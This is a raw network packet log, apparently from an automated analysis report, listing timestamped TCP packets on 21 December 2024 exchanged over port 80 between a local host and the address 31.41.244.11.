Dec 21, 2024 10:15:30.463627100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.463687897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.463757038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.465609074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.465687037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.465693951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.465758085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.467665911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.467705011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.467746019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.467808962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.469690084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.469744921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.469775915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.469871044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.471719027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.471774101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.471786022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.471853971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.473805904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.473936081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.473937988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.473985910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.475807905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.475871086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.475887060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.475930929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.477806091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.477880955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.477909088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.477956057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.561415911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.561428070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.561532974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.561949015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.562015057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.562141895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.562220097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.563482046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.563580990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.563594103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.563685894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.565104008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.565260887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.565270901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.565319061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.566713095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.566771030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.566859007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.566917896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.568454981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.568505049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.568536997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.568698883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.569927931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.569991112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.570039034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.570050955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.571433067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.571508884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.571546078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.571635008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.572998047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.573103905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.573106050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.573167086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.574493885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.574563980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.574596882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.574650049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.576035976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.576128960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.576138973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.576216936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.577496052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.577545881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.577610016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.577732086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.579000950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.579087019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.579118967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.579154968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.580446005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.580526114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.580557108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.580607891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.581887960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.581952095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.582010984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.582084894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.583331108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.583431959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.583436966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.583502054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.584748983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.584806919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.584847927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.584847927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.586185932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.586246014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.586273909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.586385965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.587603092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.587677956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.587702036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.587718964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.588963032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.589020014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.589170933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.589230061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.590380907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.590440035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.590540886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.590652943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.591741085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.591813087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.591845989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.591927052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.593113899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.593216896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.593267918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.593348026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.594474077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.594535112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.594567060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.594641924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.595829010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.595873117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.595926046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.596091986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.597183943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.597234964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.597268105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.597351074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.598489046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.598532915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.598571062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.598630905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.599808931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.599853039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.599915981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.599972963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.601139069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.601181030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.601267099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.601310968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.602412939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.602471113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.602534056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.602632999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.603744030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.603816986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.603852034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.603933096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.605119944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.605192900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.605195999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.605258942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.606362104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.606448889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.606484890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.606630087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.607665062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.607721090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.607801914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.607903004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.608969927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.609024048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.609107971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.609158993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.610307932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.610394955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.610563040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.610639095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.611578941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.611649990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.611702919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.611809015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.612889051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.613002062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.613006115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.613049030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.614193916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.614232063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.614237070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.614295959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.615514040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.615592003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.615627050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.615741968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.616808891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.616863012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.616921902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.616992950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.618130922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.618202925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.618259907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.618324995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.619590998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.619683027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.619704962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.620198011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.620737076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.620784044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.620863914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.620922089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.622092962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.622153997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.622227907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.622315884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.623334885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.623454094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.623460054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.623583078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.624680996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.624749899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.624808073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.624946117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.625968933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.626058102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.626132011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.626132011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.627283096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.627361059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.627391100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.627441883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.628586054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.628670931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.628686905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.628840923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.629916906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.629978895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.630016088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.630016088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.631195068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.631242990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.631341934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.631417036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.632531881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.632622957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.632658005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.632679939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.633809090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.633863926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.753498077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.753554106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.753577948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.753624916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.753990889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.754079103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.754189014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.754241943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.755004883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.755058050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.755146980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.755194902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.756071091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.756148100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.756184101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.756253004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769396067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769458055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769468069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769470930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769543886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769606113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769615889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769632101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769643068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769668102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769706964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769896984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769907951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769917965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769928932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769942045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.769987106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.769987106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770200968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770210981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770220041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770231009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770251036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770252943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770266056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770270109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770278931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770288944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770289898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770303011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770313025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770395041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770395041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770853043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770864964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770874023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770884991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.770905018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.770922899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.771095991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.771106958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.771172047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.771388054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.771459103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.771467924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.771534920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.772392035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.772454977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.772476912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.772538900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.773499012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.773569107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.774068117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.774118900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.774441957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.774525881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.774554968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.774621010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.775477886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.775530100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.775580883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.775671959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.776473045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.776525974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.776561975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.776632071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.777498007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.777544022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.777602911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.777658939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.778503895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.778605938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.778605938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.778646946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.779547930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.779618025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.779653072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.779653072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.780553102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.780595064 CET	80	49808	31.41.244.11	192.168.2.4
